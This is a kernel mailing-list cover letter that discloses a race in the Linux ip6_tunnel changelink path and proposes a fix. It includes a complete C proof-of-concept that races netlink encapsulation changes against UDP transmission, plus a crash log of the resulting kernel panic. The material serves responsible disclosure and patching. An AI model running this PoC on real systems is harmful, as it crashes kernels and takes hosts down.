[PATCH net 0/1] ip6_tunnel: avoid racing encap setup

[Ren Wei <enjou1224z@gmail.com>]

From: Chai Zixuan <petalzu987@gmail.com>

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv6/ip6_tunnel.c. The bug is
reachable through an ip6tnl changelink operation racing with packet
transmission in a network namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email,
along with a PoC to trigger it.

---- details below ----

Bug details:

ip6_tnl_changelink() can change encapsulation parameters while the
tunnel device is still accepting transmitters. A racing transmitter can
reserve headroom using the old encapsulation state, then build the
packet after the live encapsulation state has changed. This can
underflow the skb head and trigger skb_under_panic() from skb_push().

The patch validates new encapsulation parameters on a temporary tunnel
object. During live updates on running tunnel devices, it stops tunnel
TX queues while ip6_tnl_update() waits for current transmitters with
synchronize_net() and updates the live encapsulation state. This keeps
rejected changelink requests from mutating the live tunnel, prevents
new transmitters from entering after the synchronization point with
mismatched state, and avoids leaving stopped TX queues on down devices.

Reproducer:

    make
    ./poc --check-only
    ./poc --race-only --iters 200 --threads 8 --runtime-ms 20

We run the PoC in a 2 vCPU, 1 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_link.h>
#include <linux/if_tunnel.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef IFLA_INFO_KIND
#define IFLA_INFO_KIND 1
#define IFLA_INFO_DATA 2
#endif

#define NL_BUF_SIZE 4096
#define DEFAULT_ITERS 4000
#define DEFAULT_THREADS 4
#define DEFAULT_RUNTIME_MS 150

struct req {
	struct nlmsghdr nlh;
	struct ifinfomsg ifm;
	char buf[NL_BUF_SIZE];
};

struct thread_arg {
	int ifindex;
	int cpu;
	volatile sig_atomic_t *stop;
	unsigned long packets;
	unsigned long errors;
};

static const char *tnl_name = "poc6tnl0";
static const char *dummy_name = "dummy0";
static const char *local_addr = "fec0::1";
static const char *remote_addr = "fec0::1234";
static const char *inner_local4 = "10.23.0.1";
static const char *inner_remote4 = "10.23.0.2";
static int race_threads = DEFAULT_THREADS;
static int race_iterations = DEFAULT_ITERS;
static int race_runtime_ms = DEFAULT_RUNTIME_MS;
static bool run_check = true;
static bool run_race = true;

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void addattr_l(struct nlmsghdr *n, size_t maxlen, int type,
		      const void *data, size_t alen)
{
	size_t len = RTA_LENGTH(alen);
	size_t total = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
	struct rtattr *rta;

	if (total > maxlen) {
		fprintf(stderr, "netlink attribute buffer too small\n");
		exit(1);
	}

	rta = (struct rtattr *)((char *)n + NLMSG_ALIGN(n->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = len;
	if (alen)
		memcpy(RTA_DATA(rta), data, alen);
	n->nlmsg_len = total;
}

static struct rtattr *nest_start(struct nlmsghdr *n, size_t maxlen, int type)
{
	struct rtattr *start;

	start = (struct rtattr *)((char *)n + NLMSG_ALIGN(n->nlmsg_len));
	addattr_l(n, maxlen, type, NULL, 0);
	return start;
}

static void nest_end(struct nlmsghdr *n, struct rtattr *start)
{
	start->rta_len = (char *)n + n->nlmsg_len - (char *)start;
}

static int run_cmd(const char *cmd)
{
	int ret = system(cmd);
    int status;

	if (ret == -1)
		die("system");
    status = WIFEXITED(ret) ? WEXITSTATUS(ret) : 128 + WTERMSIG(ret);
    if (status)
	    fprintf(stderr, "command failed (status=%d): %s\n", status, cmd);
    return status;
}

static int get_ifindex(const char *name)
{
	struct ifreq ifr;
	int fd;

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", name);

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket(AF_INET)");
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die("ioctl(SIOCGIFINDEX)");
	close(fd);

	return ifr.ifr_ifindex;
}

static int nl_open(void)
{
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die("socket(AF_NETLINK)");

	return fd;
}

static int nl_talk_fd(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl nladdr = {
		.nl_family = AF_NETLINK,
	};
	char resp[NL_BUF_SIZE];
	struct iovec iov = {
		.iov_base = nlh,
		.iov_len = nlh->nlmsg_len,
	};
	struct msghdr msg = {
		.msg_name = &nladdr,
		.msg_namelen = sizeof(nladdr),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct nlmsghdr *reply;
	struct nlmsgerr *err;
	ssize_t len;

	if (sendmsg(fd, &msg, 0) < 0)
		die("sendmsg");

	iov.iov_base = resp;
	iov.iov_len = sizeof(resp);
	len = recvmsg(fd, &msg, 0);
	if (len < 0)
		die("recvmsg");

	reply = (struct nlmsghdr *)resp;
	if (!NLMSG_OK(reply, len) || reply->nlmsg_type != NLMSG_ERROR) {
		fprintf(stderr, "unexpected netlink reply type %u\n", reply->nlmsg_type);
		return -1;
	}

	err = NLMSG_DATA(reply);
	return err->error;
}

static void build_invalid_setlink_req(struct req *req, int ifindex, uint16_t dport)
{
	struct rtattr *linkinfo;
	struct rtattr *infodata;
	const char kind[] = "ip6tnl";
	uint16_t encap_type = TUNNEL_ENCAP_GUE;
	uint16_t encap_flags = TUNNEL_ENCAP_FLAG_REMCSUM;
	uint16_t encap_dport = htons(dport);

	memset(req, 0, sizeof(*req));
	req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->ifm));
	req->nlh.nlmsg_type = RTM_NEWLINK;
	req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	req->ifm.ifi_family = AF_UNSPEC;
	req->ifm.ifi_index = ifindex;

	linkinfo = nest_start(&req->nlh, sizeof(*req), IFLA_LINKINFO);
	addattr_l(&req->nlh, sizeof(*req), IFLA_INFO_KIND, kind, sizeof(kind));
	infodata = nest_start(&req->nlh, sizeof(*req), IFLA_INFO_DATA);
	addattr_l(&req->nlh, sizeof(*req), IFLA_IPTUN_ENCAP_TYPE,
		  &encap_type, sizeof(encap_type));
	addattr_l(&req->nlh, sizeof(*req), IFLA_IPTUN_ENCAP_FLAGS,
		  &encap_flags, sizeof(encap_flags));
	addattr_l(&req->nlh, sizeof(*req), IFLA_IPTUN_ENCAP_DPORT,
		  &encap_dport, sizeof(encap_dport));
	addattr_l(&req->nlh, sizeof(*req), IFLA_IPTUN_COLLECT_METADATA, NULL, 0);
	nest_end(&req->nlh, infodata);
	nest_end(&req->nlh, linkinfo);
}

static int send_invalid_setlink(int ifindex, uint16_t dport)
{
	struct req req;
	int fd;
	int err;

	build_invalid_setlink_req(&req, ifindex, dport);
	fd = nl_open();
	err = nl_talk_fd(fd, &req.nlh);
	close(fd);

	return err;
}

static int setup_outer(void)
{
	char cmd[1024];

	snprintf(cmd, sizeof(cmd),
		 "ip link add %s type dummy 2>/dev/null || true; "
		 "ip link set %s up; "
		 "ip -6 addr replace %s/64 dev %s",
		 dummy_name, dummy_name, local_addr, dummy_name);
	return run_cmd(cmd);
}

static int create_ip6tnl_link(void)
{
	struct req req;
	struct rtattr *linkinfo;
	struct rtattr *infodata;
	struct in6_addr local;
	struct in6_addr remote;
	const char kind[] = "ip6tnl";
	uint8_t proto = IPPROTO_IPIP;
	int link = get_ifindex(dummy_name);
	int fd;
	int err;

	if (inet_pton(AF_INET6, local_addr, &local) != 1 ||
		inet_pton(AF_INET6, remote_addr, &remote) != 1)
			die("inet_pton(AF_INET6)");

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifm));
	req.nlh.nlmsg_type = RTM_NEWLINK;
	req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK |
						NLM_F_CREATE | NLM_F_EXCL;
	req.ifm.ifi_family = AF_UNSPEC;
	addattr_l(&req.nlh, sizeof(req), IFLA_IFNAME, tnl_name,
			  strlen(tnl_name) + 1);

	linkinfo = nest_start(&req.nlh, sizeof(req), IFLA_LINKINFO);
	addattr_l(&req.nlh, sizeof(req), IFLA_INFO_KIND, kind, sizeof(kind));
	infodata = nest_start(&req.nlh, sizeof(req), IFLA_INFO_DATA);
	addattr_l(&req.nlh, sizeof(req), IFLA_IPTUN_LINK, &link, sizeof(link));
	addattr_l(&req.nlh, sizeof(req), IFLA_IPTUN_LOCAL, &local, sizeof(local));
	addattr_l(&req.nlh, sizeof(req), IFLA_IPTUN_REMOTE, &remote,
			  sizeof(remote));
	addattr_l(&req.nlh, sizeof(req), IFLA_IPTUN_PROTO, &proto, sizeof(proto));
	nest_end(&req.nlh, infodata);
	nest_end(&req.nlh, linkinfo);

	fd = nl_open();
	err = nl_talk_fd(fd, &req.nlh);
	close(fd);
	return err;
}

static int cleanup_tunnel(void)
{
	char cmd[256];

	snprintf(cmd, sizeof(cmd), "ip link del %s 2>/dev/null || true", tnl_name);
	return run_cmd(cmd);
}

static int create_tunnel(void)
{
    char cmd[512];
    int err;

    err = create_ip6tnl_link();
    if (err) {
	    fprintf(stderr, "RTM_NEWLINK ip6tnl failed: %d (%s)\n", err,
		    strerror(-err));
	    return 1;
    }

    snprintf(cmd, sizeof(cmd),
	     "ip addr replace %s peer %s dev %s && ip link set %s up",
		 inner_local4, inner_remote4, tnl_name, tnl_name);
	return run_cmd(cmd);
}

static bool tunnel_mutated(void)
{
	char cmd[512];
	FILE *fp;
	char buf[4096];
	bool mutated = false;

	snprintf(cmd, sizeof(cmd), "ip -d link show dev %s 2>/dev/null", tnl_name);
	fp = popen(cmd, "r");
	if (!fp)
		die("popen(ip link show)");

	while (fgets(buf, sizeof(buf), fp)) {
		if (strstr(buf, "encap gue") && strstr(buf, "encap-remcsum"))
			mutated = true;
	}

	pclose(fp);
	return mutated;
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	if (cpu < 0)
		return;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	(void)pthread_setaffinity_np(pthread_self(), sizeof(set), &set);
}

static void *sender_thread(void *arg)
{
	struct thread_arg *targ = arg;
	struct sockaddr_in sin = {
		.sin_family = AF_INET,
		.sin_port = htons(9),
	};
	uint8_t pkt[128];
	int fd;

	pin_to_cpu(targ->cpu);

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket(AF_INET)");

	if (inet_pton(AF_INET, inner_remote4, &sin.sin_addr) != 1)
		die("inet_pton(AF_INET)");
	memset(pkt, 0x41, sizeof(pkt));

	while (!*targ->stop) {
		if (sendto(fd, pkt, sizeof(pkt), 0,
			   (struct sockaddr *)&sin, sizeof(sin)) < 0) {
			targ->errors++;
			if (errno == ENETDOWN || errno == ENODEV ||
			    errno == ENETUNREACH)
				break;
		} else {
			targ->packets++;
		}
	}

	close(fd);
	return NULL;
}

static int run_check_mode(void)
{
	int ifindex;
	int err;
	bool mutated;

	if (setup_outer())
		return 1;
	cleanup_tunnel();
	if (create_tunnel())
		return 1;

	ifindex = get_ifindex(tnl_name);
	err = send_invalid_setlink(ifindex, 5555);
	mutated = tunnel_mutated();

	printf("[check] netlink_error=%d (%s)\n", err,
	       err ? strerror(-err) : "success");
	printf("[check] mutated=%s\n", mutated ? "yes" : "no");

	return (err == -EINVAL && mutated) ? 0 : 1;
}

static int run_race_mode(void)
{
	int iter;

	for (iter = 0; iter < race_iterations; iter++) {
		pthread_t tids[64];
		struct thread_arg args[64];
		volatile sig_atomic_t stop = 0;
		struct timespec ts;
		int ifindex;
		int i;
		int err;
		unsigned long sent = 0;
		unsigned long failed = 0;

		if (race_threads > (int)(sizeof(tids) / sizeof(tids[0]))) {
			fprintf(stderr, "too many threads requested\n");
			return 1;
		}

		cleanup_tunnel();
		if (create_tunnel())
			return 1;
		ifindex = get_ifindex(tnl_name);

		for (i = 0; i < race_threads; i++) {
			args[i].ifindex = ifindex;
			args[i].cpu = i % 4;
			args[i].stop = &stop;
			args[i].packets = 0;
			args[i].errors = 0;
			if (pthread_create(&tids[i], NULL, sender_thread, &args[i])) {
				perror("pthread_create");
				stop = 1;
				for (i--; i >= 0; i--)
					pthread_join(tids[i], NULL);
				return 1;
			}
		}

		ts.tv_sec = 0;
		ts.tv_nsec = 20 * 1000 * 1000;
		nanosleep(&ts, NULL);

		err = send_invalid_setlink(ifindex, (uint16_t)(6000 + (iter % 512)));

		ts.tv_sec = race_runtime_ms / 1000;
		ts.tv_nsec = (race_runtime_ms % 1000) * 1000 * 1000L;
		nanosleep(&ts, NULL);
		stop = 1;

		for (i = 0; i < race_threads; i++) {
			pthread_join(tids[i], NULL);
			sent += args[i].packets;
			failed += args[i].errors;
		}

		if ((iter % 100) == 0 || err != -EINVAL) {
			printf("[race] iter=%d send_err=%d mutated=%s packets=%lu errors=%lu\n",
			       iter, err, tunnel_mutated() ? "yes" : "no", sent, failed);
			fflush(stdout);
		}
	}

	return 0;
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [--check-only] [--race-only] [--iters N] [--threads N] [--runtime-ms N]\n",
		prog);
	exit(1);
}

static void parse_args(int argc, char **argv)
{
	int i;

	for (i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "--check-only")) {
			run_check = true;
			run_race = false;
		} else if (!strcmp(argv[i], "--race-only")) {
			run_check = false;
			run_race = true;
		} else if (!strcmp(argv[i], "--iters") && i + 1 < argc) {
			race_iterations = atoi(argv[++i]);
		} else if (!strcmp(argv[i], "--threads") && i + 1 < argc) {
			race_threads = atoi(argv[++i]);
		} else if (!strcmp(argv[i], "--runtime-ms") && i + 1 < argc) {
			race_runtime_ms = atoi(argv[++i]);
		} else {
			usage(argv[0]);
		}
	}

	if (race_threads <= 0 || race_threads > 64 ||
	    race_iterations <= 0 || race_runtime_ms <= 0)
		usage(argv[0]);
}

int main(int argc, char **argv)
{
	int ret = 0;

	parse_args(argc, argv);

	if (run_check)
		ret |= run_check_mode();

	if (run_race)
		ret |= run_race_mode();

	return ret;
}
------END poc.c---------

----BEGIN crash log----

[baseline] starting PoC check
[    2.565456] ip (72) used greatest stack depth: 27344 bytes left
[    2.566217] ip (69) used greatest stack depth: 27200 bytes left
[    2.570919] ip (78) used greatest stack depth: 26920 bytes left
[check] netlink_error=-22 (Invalid argument)
[check] mutated=no
[    2.577014] poc (68) used greatest stack depth: 26248 bytes left
[baseline] check exit=1
[baseline] starting PoC race
[    2.589639] ip (82) used greatest stack depth: 24760 bytes left
[race] iter=0 send_err=-22 mutated=no packets=4079 errors=0
[    2.848104] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
[    4.844972] skbuff: skb_under_panic: text:ffffffffb759b61c len:224 put:40 head:ffff8880050e3a80 data:ffff8880050e3a7c tail:0xdc end:0x180 dev:poc6tnl0
[    4.847654] ------------[ cut here ]------------
[    4.848645] kernel BUG at net/core/skbuff.c:214!
[    4.849571] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[    4.850653] CPU: 1 UID: 0 PID: 561 Comm: poc Not tainted 7.2.0-rc4-00359-g78f75d632f74 #1 PREEMPT(lazy) 
[    4.852421] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[    4.853990] RIP: 0010:skb_panic+0xbe/0xc0
[    4.854631] Code: ff 8b 4b 70 48 c7 c7 60 0e f6 b7 41 56 4d 89 f9 41 55 41 54 55 44 8b 44 24 34 48 8b 54 24 28 48 8b 74 24 20 e8 33 ab d5 fe 90 <0f> 0b 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa
[    4.856913] RSP: 0018:ffffc900012c71c0 EFLAGS: 00010246
[    4.857544] RAX: 000000000000008a RBX: ffff888003313000 RCX: ffffffffb5ed8b55
[    4.858392] RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000001
[    4.859248] RBP: ffff8880050e3a7c R08: 0000000000000000 R09: fffffbfff711a524
[    4.860119] R10: 0000000000000003 R11: 203a666675626b73 R12: 00000000000000dc
[    4.860997] R13: 0000000000000180 R14: ffff888002c18120 R15: ffff8880050e3a80
[    4.861859] FS:  00007f3b9a1d0640(0000) GS:ffff88807c2d5000(0000) knlGS:0000000000000000
[    4.862846] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.863601] CR2: 00000000006167e0 CR3: 000000000414e001 CR4: 0000000000370ef0
[    4.864477] Call Trace:
[    4.864808]  <TASK>
[    4.865088]  ? ip6_tnl_xmit+0xa2c/0x12d0
[    4.865591]  ? ip6_tnl_xmit+0xa2c/0x12d0
[    4.866076]  skb_push+0x7b/0x80
[    4.866493]  ip6_tnl_xmit+0xa2c/0x12d0
[    4.866984]  ? __pfx_ip6_tnl_xmit+0x10/0x10
[    4.867497]  ? ip_make_skb+0x1e1/0x220
[    4.867974]  ? udp_sendmsg+0xadc/0xf60
[    4.868460]  ? __sys_sendto+0x28d/0x2b0
[    4.869036]  ? __x64_sys_sendto+0x71/0x90
[    4.869549]  ? do_syscall_64+0x102/0x5a0
[    4.870054]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    4.870704]  ip6_tnl_start_xmit+0x5a1/0x900
[    4.871238]  ? __pfx_ip6_tnl_start_xmit+0x10/0x10
[    4.871841]  ? netif_skb_features+0x48a/0x7d0
[    4.872437]  ? kasan_save_track+0x14/0x30
[    4.872949]  dev_hard_start_xmit+0x84/0x300
[    4.873464]  __dev_queue_xmit+0x891/0x1a50
[    4.873967]  ? __pfx___alloc_skb+0x10/0x10
[    4.874472]  ? selinux_ip_postroute_compat+0x271/0x290
[    4.875110]  ? __pfx___dev_queue_xmit+0x10/0x10
[    4.875679]  ? __pfx_selinux_ip_postroute_compat+0x10/0x10
[    4.876366]  ? skb_complete_wifi_ack+0x1e1/0x1f0
[    4.876963]  ? __pfx__copy_from_iter+0x10/0x10
[    4.877513]  ? pick_eevdf+0xd9/0x330
[    4.877976]  ? __pfx_selinux_ip_postroute+0x10/0x10
[    4.878584]  ? selinux_ip_postroute+0x31d/0x5f0
[    4.879141]  ? neigh_connected_output+0x169/0x1d0
[    4.879716]  ip_finish_output2+0x2e6/0x9b0
[    4.880271]  ? __ip_append_data+0x15bf/0x1b50
[    4.880824]  ? __pfx_ip_finish_output2+0x10/0x10
[    4.881392]  __ip_finish_output.part.0+0x256/0x3f0
[    4.881978]  ? __pfx___ip_finish_output.part.0+0x10/0x10
[    4.882659]  ? __pfx_selinux_ip_postroute+0x10/0x10
[    4.883254]  ? nf_hook_slow+0x77/0x110
[    4.883741]  ip_output+0x19e/0x280
[    4.884192]  ? __pfx_ip_output+0x10/0x10
[    4.884859]  ? __pfx_ip_finish_output+0x10/0x10
[    4.885416]  ? __pfx_ip_make_skb+0x10/0x10
[    4.885914]  ip_send_skb+0xbf/0xd0
[    4.886361]  udp_send_skb+0x31b/0x4c0
[    4.886848]  udp_sendmsg+0xb16/0xf60
[    4.887295]  ? __pfx_udp_sendmsg+0x10/0x10
[    4.887794]  ? vruntime_eligible+0xdd/0x100
[    4.888349]  ? selinux_socket_sendmsg+0x5c/0x100
[    4.888941]  ? inet_send_prepare+0x18/0x110
[    4.889455]  __sys_sendto+0x28d/0x2b0
[    4.889910]  ? __pfx___sys_sendto+0x10/0x10
[    4.890430]  ? finish_task_switch.isra.0+0x16e/0x510
[    4.891033]  ? xfd_validate_state+0x28/0xb0
[    4.891543]  __x64_sys_sendto+0x71/0x90
[    4.892029]  do_syscall_64+0x102/0x5a0
[    4.892543]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    4.893179] RIP: 0033:0x4528a6
[    4.893569] Code: 85 02 00 44 8b 4c 24 2c 4c 8b 44 24 20 41 89 c4 44 8b 54 24 28 48 8b 54 24 18 b8 2c 00 00 00 48 8b 74 24 10 8b 7c 24 08 0f 05 <48> 3d 00 f0 ff ff 77 3a 44 89 e7 48 89 44 24 08 e8 85 85 02 00 48
[    4.895726] RSP: 002b:00007f3b9a1d0050 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[    4.896680] RAX: ffffffffffffffda RBX: 00007fff3ca0b700 RCX: 00000000004528a6
[    4.897536] RDX: 0000000000000080 RSI: 00007f3b9a1d0120 RDI: 000000000000000a
[    4.898543] RBP: 000000000000000a R08: 00007f3b9a1d0090 R09: 0000000000000010
[    4.899401] R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000000
[    4.900372] R13: 00007f3b9a1d0090 R14: 0000000000417740 R15: 00007f3b999d0000
[    4.901214]  </TASK>
[    4.901528] Modules linked in:
[    4.901956] ---[ end trace 0000000000000000 ]---
[    4.902553] RIP: 0010:skb_panic+0xbe/0xc0
[    4.903065] Code: ff 8b 4b 70 48 c7 c7 60 0e f6 b7 41 56 4d 89 f9 41 55 41 54 55 44 8b 44 24 34 48 8b 54 24 28 48 8b 74 24 20 e8 33 ab d5 fe 90 <0f> 0b 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa
[    4.905312] RSP: 0018:ffffc900012c71c0 EFLAGS: 00010246
[    4.905973] RAX: 000000000000008a RBX: ffff888003313000 RCX: ffffffffb5ed8b55
[    4.906848] RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000001
[    4.907783] RBP: ffff8880050e3a7c R08: 0000000000000000 R09: fffffbfff711a524
[    4.908665] R10: 0000000000000003 R11: 203a666675626b73 R12: 00000000000000dc
[    4.909547] R13: 0000000000000180 R14: ffff888002c18120 R15: ffff8880050e3a80
[    4.910428] FS:  00007f3b9a1d0640(0000) GS:ffff88807c2d5000(0000) knlGS:0000000000000000
[    4.911438] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.912216] CR2: 00000000006167e0 CR3: 000000000414e001 CR4: 0000000000370ef0
[    4.913107] Kernel panic - not syncing: Fatal exception in interrupt
[    4.914485] Kernel Offset: 0x34c00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
QEMU_EXIT=0

-----END crash log-----

Chai Zixuan (1):
  ip6_tunnel: avoid racing encap setup in changelink

 net/ipv6/ip6_tunnel.c | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)


-- 
2.34.1